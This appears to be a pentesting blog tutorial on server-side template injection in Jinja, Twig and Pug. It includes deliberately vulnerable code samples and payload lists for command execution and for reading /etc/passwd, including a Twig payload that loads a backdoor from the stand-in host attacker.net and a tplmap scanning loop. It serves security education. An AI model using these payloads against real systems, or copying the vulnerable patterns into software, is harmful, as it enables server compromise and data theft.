Injecting Danger: Understanding Server-Side Template Exploits
SSTI, or server-side template injection, happens when attackers use the structure of templates to insert harmful code that is then executed…
SSTI, or server-side template injection, happens when attackers use the structure of templates to insert harmful code that is then executed on the server. The problem lies in the way templates are made, as they combine fixed templates with dynamic data. SSTI vulnerabilities occur when user inputs are included directly in the template instead of being separated as data. This mistake allows malicious individuals to add their own template commands, potentially giving them complete control over the server.
To illustrate, consider the following susceptible code:
$output = $twig->render("Dear " . $_GET['name']);
Here, the template is dynamically crafted using the ‘name’ GET parameter. Given that the template’s syntax undergoes server-side assessment, this opens a gateway for attackers to inject an SSTI payload within the ‘name’ parameter, as demonstrated below:
http://vulnerable-site.com/?name={{malicious-template-command}}
Let’s learn about template engines
1. What is a Templating Engine? A templating engine allows you to design a template (a static form) and populate it with dynamic data. In simple terms, think of it as a framework or structure that gets filled with specific data before being presented to the end user.
Example: Instead of writing individual emails for every customer, an administrator can use a template with placeholders. These placeholders get replaced by actual data (e.g., customer name, product details) when the email is generated.
2. The Anatomy of a Template: Templates have distinct syntax and structures. Using the provided example:
{{ name }}
: This is an expression. It acts as a placeholder that displays the value of a variable (in this case, the customer's name).{% for product in cart %}...{% endfor %}
: This is a statement, which performs actions. Here, it loops over each product in the cart.
Some key things to note:
- Delimiters: The
{{ }}
and{% %}
symbols that envelop the code. They mark the beginning and end of where the template engine should interpret the content. - Expressions: Used to produce and display values.
- Statements: Used to perform actions, like loops or conditional checks.
3. Templating Engines in Web Development: Most templating engines are constructed with web applications in mind. Their core features:
- Automatically escape content to prevent Cross-Site Scripting (XSS) vulnerabilities.
- Provide ways (sometimes risky) to display raw, unescaped content.
- Can be either logic-less (only display data) or fully logical (can perform complex tasks).
4. Server-side vs. Client-side Rendering: Depending on the application, templates might be rendered on the server-side or client-side:
- Server-side Rendering: Any injected malicious code might lead to vulnerabilities like Remote Code Execution (RCE) or XSS.
- Client-side Rendering: Typically limited to XSS as its highest impact vulnerability.
5. Exploring Various Templating Engines: Different templating engines have varying syntax and functionalities, and they’re designed for specific programming languages. A few examples:
- Twig: Designed for PHP and operates on the server-side.
- Jinja: For Python and also operates on the server-side.
- Handlebars: Designed for JavaScript and can work both server-side and client-side.
6. The Logic Spectrum in Templating Engines: Some engines provide more logic capabilities than others:
- Logic-less engines might only allow basic data interactions.
- Logical engines might allow complex functionalities, potentially increasing security risks.
7. Implications of Templating Engine Choice: While logical templating engines provide more flexibility, they can also pose security risks, especially if not used correctly. An insecure templating engine can expose sensitive data or even allow attackers to execute malicious code.
Discover and Exploit
Jinja
It is a popular Python template engine.
Vulnerable Code example
from flask import Flask, render_template_string, request
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', 'World')
template = '<h1>Hello, {}!</h1>'.format(name)
return render_template_string(template)
if __name__ == '__main__':
app.run()
Try the payloads below on the suspected injection point [1]:
{{7*7}} = Error
${7*7} = ${7*7}
{{foobar}} Nothing
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
Once confirmed, use the below with modifications accordingly to get command execution.
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
For more: <link>
Twig
“Twig is a template engine for the PHP programming language. Its syntax originates from Jinja and Django templates.” [2]
Vulnerable code:
<?php
require 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([
'index' => $_GET['profile_title']
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', []);
?>
Use the below payload to check:
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
{{foobar}} Nothing
To exploit and get info:
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Pug
“PUG is a Javascript library that was previously known as JADE. It is an easy-to-code template engine used to code HTML in a more readable fashion. One upside to PUG is that it equips developers to code reusable HTML documents by pulling data dynamically from the API.” [3]
Vulnerable code:
const express = require('express');
const pug = require('pug');
const app = express();
app.set('view engine', 'pug');
app.use(express.urlencoded({ extended: true }));
app.get('/', (req, res) => {
const username = req.query.username || 'Guest';
const template = `h1 Hello ${username}!`;
const html = pug.render(template);
res.send(html);
});
app.listen(3000, () => {
console.log('Server started on http://localhost:3000/');
});
Payload:
#{7*7} = 49
Exploit:
For more information: <link>
More….
You can read about all the remaining ones here: <link>
Blogs
- https://portswigger.net/research/server-side-template-injection
- https://medium.com/@bdemir/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68
- https://www.we45.com/post/server-side-template-injection-a-crash-course
One-liners
for url in $(cat targets.txt); do python3 tplmap.py -u $url; print $url; done
Tools:
I have a small request to make. I often write articles on various security topics, so if you haven't already, please follow me and give this article a clap. Your support motivates me to continue writing and sharing new insights with you all. Thank you!
If you do not follow me on my social, here is my Twitter and LinkedIn.